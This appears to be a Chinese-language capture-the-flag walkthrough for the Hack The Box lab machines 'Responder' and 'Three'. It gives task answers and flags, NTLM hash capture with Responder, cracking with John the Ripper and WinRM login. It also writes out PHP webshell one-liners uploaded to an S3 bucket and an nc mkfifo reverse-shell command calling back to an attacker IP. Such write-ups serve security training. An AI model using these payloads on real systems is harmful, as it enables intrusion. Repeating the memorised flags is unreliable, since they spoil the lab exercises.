machine : Responder
Task 1 : unika.htb
直接用ip访问试试
重定向到了域名 unika.htb
# vim /etc/hosts
插入内容为:
10.129.221.19 unika.htb
再次访问unika.htb:
Task 2 : php
# whatweb 10.129.221.19:80
Task 3 : page
Task 4 : ../../../../../../../../windows/system32/drivers/etc/hosts
Task 5 : //10.10.14.6/somefile
Task 6 : New Technology Lan Manager
关于NTLM认证: blog.csdn.net/weixin_4918…
Task 7 : -I
# responder --help
关于responder的用法以及原理: blog.csdn.net/m0_56010012…
Task 8 : John The Ripper
Task 9 : badminton
# esponder -I tun0
# john -w=/usr/share/wordlists/rockyou.txt hash.txt
Task 10 : 5985
# nmap --min-rate 5000 -p- -sV 10.129.221.19
Task 11 : ea81b7afddd03efaa0945333ed147fac
# evil-winrm -i 10.129.221.19 -u administrator -p badminton
WinRM就如同ssh
machine : Three
Task 1 : 2
# nmap --min-rate 5000 -p- -sV 10.129.25.80
Task 2 : thetoppers.htb
从网页信息中挖掘到了一个域名,稍后可以看看是如何利用该域名的
Task 3 : /etc/hosts
Task 4 : s3.thetoppers.htb
涉及子域枚举问题,用gobuster的DNS模式试试:
# gobuster dns -d thetoppers.htb --wordlist /usr/share/amass/wordlists/subdomains.lst
//用的字典实际上位于/usr/share/wordlists/amass/下,选一个子域名字典就够了
//上面指令中的路径是因为超链接。其实两种路径都一样
可见DNS解析方面出了问题,local DNS服务器不知道thetoppers.htb该域名对应的ip,故无法解析
需要手动在hosts文件里配置:
# vim /etc/hosts
插入内容为:
10.129.25.80 thetoppers.htb
再次gobuster就成功了:
然后把s3.thetoppers.htb也添加到hosts文件中:
浏览器访问:
Task 5 : Amazon S3
快速搜索谷歌,包含关键字“s3子域状态正在运行”,返回这个结果: Amazon S3是一个基于云的对象存储服务。它能让我们把东西储存在桶里。AWS S3桶有各种各样的用例,包括备份和存储、媒体托管、软件交付、静态网站等。存储在Amazon S3桶中的文件称为S3对象。
Task 6 : awscli
# apt install awscli
Task 7 : aws configure
# aws configure
Task 8 : aws s3 ls
# aws --endpoint=http://s3.thetoppers.htb s3 ls
Task 9 : PHP
# aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
Task 10 : a980d99281a28d638ac68b9bf9453c2b
# echo '<?php system($_GET["cmd"]); ?>' > shell.php //获取webshell的php代码
# ehco '<?php system($_REQUEST[0]); ?>' > shell2.php //也是获取webshell的代码,不过指令要用?0=指令 的方式输入
# aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb /将php文件上传到靶机
其实到这里已经可以获取到flag了:
下面还想获取reverse shell:
# vim shell.sh
内容为:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.224 9443 >/tmp/f
内容也可以为:
# nc -lnvp 9443
# python3 -m http.server 8000
成功拿到reverse shell